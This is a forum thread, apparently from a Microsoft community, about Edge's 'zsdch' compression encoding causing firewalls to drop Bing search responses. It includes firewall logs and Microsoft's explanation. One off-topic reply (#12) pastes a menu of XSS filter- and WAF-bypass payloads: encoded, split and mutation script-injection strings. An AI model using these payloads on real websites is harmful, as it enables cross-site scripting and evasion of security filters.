Edge and Bing Search - zsdch encoding: Why is it being used?

[Tristan_W_C]

Seems Edge has been including zsdch in the accept-encoding header (from searching, as far back as 112). Couldn't find any documentation on this encoding type, only sdch which is considered defunct. We started having issues with Bing search starting around the end of June 2023, and with assistance from our Firewall vendor we identified this content-encoding as unsupported on the Firewall and blocked as evasion (default) by the AntiVirus scan.

So, is this experimental, or new normal?

user-agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36 Edg/114.0.1823.79
accept-encoding:gzip, deflate, br, zsdch
accept-language:en-US,en;q=0.9,fr;q=0.8,mt;q=0.7

[#2]

I have a similar issue, starting around June, we also expect this may be related to zsdch encoding. Bing works fine with other browsers and but FW is blocking traffic back to edge.

[#3]

@garethrobson Our case was pretty clear in our Firewall logs, so far we've only seen Bing Search select zsdch in response, and only while logged in to Edge

[I]2023-07-14 18:11:03.556553 [p:206][s:85746775] wad_dump_http_resp :2593 hreq=0x277aab10 Received response from server:

HTTP/1.1 200
content-type: text/html; charset=utf-8
cache-control: private, max-age=0
content-encoding: zsdch
expires: Sat, 15 Jul 2023 01:10:03 GMT
vary: Accept-Encoding
vary: Avail-Dictionary
x-eventid: 64b1f227b54e47b4b7f277a3c6e15111
accept-ch: Sec-CH-UA-Bitness, Sec-CH-UA-Arch, Sec-CH-UA-Full-Version, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Platform, Sec-CH-UA, UA-Bitness, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform-Version, UA-Platform, UA
useragentreductionoptout: <redacted>
strict-transport-security: max-age=31536000; includeSubDomains; preload
content-security-policy-report-only: script-src https: 'strict-dynamic' 'report-sample' 'nonce-<redacted>'; base-uri 'self';report-to csp-endpoint
report-to: {"group":"csp-endpoint","max_age":86400,"endpoints":[{"url":"https://aefd.nelreports.net/api/report?cat=bingcsp"}]}
report-to: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://aefd.nelreports.net/api/report?cat=bingserp"}]}
report-to: {"group":"crossorigin-errors","max_age":604800,"endpoints":[{"url":"https://aefd.nelreports.net/api/report?cat=bingserp"}]}
p3p: CP="NON UNI COM NAV STA LOC CURa DEVa PSAa PSDa OUR IND"
nel: {"report_to":"network-errors","max_age":604800,"success_fraction":0.01,"failure_fraction":0.5,"include_subdomains":true}
cross-origin-embedder-policy-report-only: require-corp; report-to="crossorigin-errors"
cross-origin-opener-policy-report-only: same-origin; report-to="crossorigin-errors"
date: Sat, 15 Jul 2023 01:11:03 GMT
set-cookie: _SS=SID=<redacted>&PC=U531&R=200&RB=0&GB=0&RG=200&RP=200; domain=.bing.com; path=/; secure; SameSite=None
set-cookie: SRCHS=PC=U531; domain=.bing.com; path=/; secure; SameSite=None
set-cookie: OIDI=<redacted>; domain=.bing.com; expires=Fri, 13-Oct-2023 01:11:03 GMT; path=/; secure; HttpOnly; SameSite=None
alt-svc: h3=":443"; ma=93600
x-cdn-traceid: 0.9ca30017.1689383463.3792ccd7

[I]2023-07-14 18:11:03.556632 [p:206][s:85746775] wad_http_fwd_non_cacheable_resp :2526 resp(0x342c5894) starts processing.
[V]2023-07-14 18:11:03.556650 [p:206][s:85746775] wad_http_msg_start_setup_proc :2100 msg(0x342c5894) proc-setup started from: build_fwd_resp.
[V]2023-07-14 18:11:03.556668 [p:206][s:85746775] wad_http_def_proc_msg_plan :2062 msg(0x342c5894) setting up processor(build_fwd_resp)
[I]2023-07-14 18:11:03.556684 [p:206][s:85746775] wad_http_resp_setup_fwd_resp :2503 msg(0x342c5894) build fwd resp!
[V]2023-07-14 18:11:03.556700 [p:206][s:85746775] wad_http_resp_build_fwd_msg :2436 msg(0x342c5894)
[V]2023-07-14 18:11:03.556723 [p:206][s:85746775] wad_http_def_proc_msg_plan :2062 msg(0x342c5894) setting up processor(resp_icap)
[V]2023-07-14 18:11:03.556740 [p:206][s:85746775] wad_http_def_proc_msg_plan :2062 msg(0x342c5894) setting up processor(resp_waf)
[V]2023-07-14 18:11:03.556755 [p:206][s:85746775] wad_http_def_proc_msg_plan :2062 msg(0x342c5894) setting up processor(resp_quota)
[V]2023-07-14 18:11:03.556771 [p:206][s:85746775] wad_http_def_proc_msg_plan :2062 msg(0x342c5894) setting up processor(resp_roh)
[V]2023-07-14 18:11:03.556785 [p:206][s:85746775] wad_http_def_proc_msg_plan :2062 msg(0x342c5894) setting up processor(resp_moh)
[V]2023-07-14 18:11:03.556799 [p:206][s:85746775] wad_http_def_proc_msg_plan :2062 msg(0x342c5894) setting up processor(resp_doh)
[V]2023-07-14 18:11:03.556815 [p:206][s:85746775] wad_http_def_proc_msg_plan :2062 msg(0x342c5894) setting up processor(scan)
[I]2023-07-14 18:11:03.556832 [p:206][s:85746775] wad_resp_setup_scan_proc :1836 content type for req=0x277aab10 is allowed
[I]2023-07-14 18:11:03.556857 [p:206][s:85746775] wad_sres_entry_find :193 svr_addr=23.0.163.160, port=443, path=/search?pglt=129&q=testtest&cvid=6353cc9458a74075959c89ea2cd84d1e&aqs=edge.0.0l9j69i11004.1400j0j1&FORM=ANNAB1&PC=U531
[W]2023-07-14 18:11:03.556888 [p:206][s:85746775] __wad_setup_scan_proc :1572 msg(0x342c5894) evading attack through content-encoding=-ucsk!
[I]2023-07-14 18:11:03.556905 [p:206][s:85746775] wad_http_def_proc_msg_plan :2072 msg(0x342c5894) failed to setup scan!
[I]2023-07-14 18:11:03.556964 [p:206][s:85746775] wad_http_mstrm_on_msg_cancel :14294 req(0x277aab10) is cancelling by closing hmstrm!
[I]2023-07-14 18:11:03.557000 [p:206][s:85746775] __wad_http_req_close :1586 ret = -1!
[V]2023-07-14 18:11:03.557042 [p:206][s:85746775] __wad_http_scan_dyn_close :380 sp(0x32692fe0) got closed!
[I]2023-07-14 18:11:03.557059 [p:206][s:85746775] wad_http_scan_close :357 hs=0x32692ff8 state=done:
[V]2023-07-14 18:11:03.557076 [p:206][s:85746775] wad_http_ipsscan__destroy :716 ipsscan=0x3549fa24: destroying
2023-07-14 18:11:03.557247 [p:206][s:85746775] ipsapp ses 2575652 close
2023-07-14 18:11:03.557273 [p:206][s:85746775] ipsapp ses 2575652 send end msg 22970 len 0 dir 0
[V]2023-07-14 18:11:03.557293 [p:206][s:85746775] wad_mem_c_malloc :138 size 65556 exceeds max_elm_size (18404); not using bucket
[I]2023-07-14 18:11:03.557381 [p:206][s:85746775] wad_http_sstrm_on_msg_cancel :14384 sstrm(0x315731e4) is closing hmstrm(0x325480b0) msg(0x342c5894).
[I]2023-07-14 18:11:03.557401 [p:206][s:85746775] wad_http_mstrm_on_msg_cancel :14294 req(0x277aab10) is cancelling by closing hmstrm!

[#4]

Response from MS

'zsdch' is Microsoft's implementation of Google's Shared Dictionary Compression over HTTP (SDCH) specification, which they rescinded from production usage. To utilize this compression technique, Edge adds the 'zsdch' token to the outbound 'Accept-Encoding' header (e.g. Accept-Encoding: gzip, deflate, br, zsdch) and will utilize it if the server responds with its own support for the method.

The client's advertisement of this encoding method causes the Bing servers to agree to implement zsdch for future transactions. The Bing server responds with Content-Encoding: zsdch and the encoded payload. Some intermediary devices, such as proxies or content-filtering firewalls may choose to drop the response from being forwarded to the client, based on the type being unsupported or unrecognized. As a result, the client's search request goes unfulfilled due to the dropped connection.

At present (Edge version 115.0.1901.183), there is no edge://flag or group policy option available yet to turn off advertisement of zsdch, but both the asks are in place with our product group. We have no estimate as to when either of these will be available.

[#5 · Accepted solution]

MS have now released a doc to support this on 7th August
https://learn.microsoft.com/en-us/deployedge/learnmore-zsdch-compression

[#6]

Very cool feature. More sites should start using it

[#7]

The version of Edge I'm using is "117.0.2045.41", has this problem been resolved?

[#8]

@toshi_ogi_555 

---

@toshi_ogi_555 wrote:
The version of Edge I'm using is "117.0.2045.41", has this problem been resolved?

---

There is no issue with Edge browser, the topic was about a missing document which was solved.

[#9]

The issue was edge was using zsdch and you were unable to turn off if. MS released an edge version allowing a flag to disable zsdch encoding, then in later versions this flag has been removed, edge defaults to advertising ZSDCH, but will only use it if it is supported e2e. The document was published after MS introduced ZSDCH in previous version of edge.

[#10]

thank you.

[#11]

Thanks so much. I understand.

[#12]

* | 1. UPPER CASE----> &lt;script&gt;ALERT(1)&lt;/script&gt;
* | 2. UPPER AND LOWER CASE----> &lt;script&gt;aleRt(1)&lt;/script&gt;
* | 3. URL ENCODE -----> %3Cscript%3Ealert%281%29%3C%2Fscript%3E
* | 4. HTML ENTITY ENCODE-----> &lt;script&gt;alert(1)&lt;/script&gt;
* | 5. SPLIT PAYLOAD -----> <scri&lt;/script&gt;pt>>alert(1)</scri&lt;/script&gt;pt>>
* | 6. HEX ENCODE -----> 3c7363726970743e616c6572742831293c2f7363726970743e
* | 7. UTF-16 ENCODE -----> Encode payload to utf-16 format.
* | 8. UTF-32 ENCODE-----> Encode payload to utf-32 format.
* | 9. DELETE TAG -----> ";alert('XSS');//
* | 10. UNICODE ENCODE-----> %uff1cscript%uff1ealert(1)%uff1c/script%uff1e
* | 11. US-ASCII ENCODE -----> ¼script¾alert(1)¼/script¾
* | 12. BASE64 ENCODE -----> PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==
* | 13. UTF-7 ENCODE -----> +ADw-script+AD4-alert(1)+ADw-/script+AD4-
* | 14. PARENTHESIS BYPASS -----> &lt;script&gt;alert`1`&lt;/script&gt;
* | 15. UTF-8 ENCODE -----> %C0%BCscript%C0%BEalert%CA%B91)%C0%BC/script%C0%BE
* | 16. TAG BLOCK BREAKOUT-----> ">&lt;script&gt;alert(1)&lt;/script&gt;
* | 17. SCRIPT BREAKOUT-----> &lt;/script&gt;&lt;script&gt;alert(1)&lt;/script&gt;
* | 18. FILE UPLOAD PAYLOAD-----> ">&lt;script&gt;alert(1)&lt;/script&gt;.gif
* | 19. INSIDE COMMENTS BYPASS-----> <!-->&lt;script&gt;alert(1)&lt;/script&gt;-->
* | 20. MUTATION PAYLOAD-----> <noscript&gt;<p title="</noscript&gt;&lt;script&gt;alert(1)&lt;/script&gt;">
* | 21. MALFORMED IMG-----> <IMG """>&lt;script&gt;alert(1)&lt;/script&gt;">
* | 22. SPACE BYPASS-----> <img^Lsrc=x^Lonerror=alert('1');>
* | 23. DOWNLEVEL-HIDDEN BLOCK-----> <!--[if gte IE 4]>&lt;script&gt;alert(1)&lt;/script&gt;<![endif]-->
* | 24. WAF BYPASS PAYLOADS-----> Show Waf Bypass Payload List
* | 25. CLOUDFLARE BYPASS PAYLOADS-----> Show Cloudflare Bypass Payload List
* | 26. POLYGLOT PAYLOADS-----> Show Polyglot Bypass Payload List
* | 27. ALERT PAYLOADS-----> Show Alert Payload List
* | 28. ALL CREATE PAYLOAD-----> Show Create All Payloads
* | 29. GO BACK MAIN MENU
* | 30. EXIT

[#13]

Any chance you can share which firewall vendor you were using that saw issues?

We're working on a similar change through the IETF for "compression dictionary transport" which Chrome currently has enabled in origin trial and it would be useful to get as many MITM devices fixed as possible before the issue becomes too widespread.

Spec: https://datatracker.ietf.org/doc/draft-ietf-httpbis-compression-dictionary/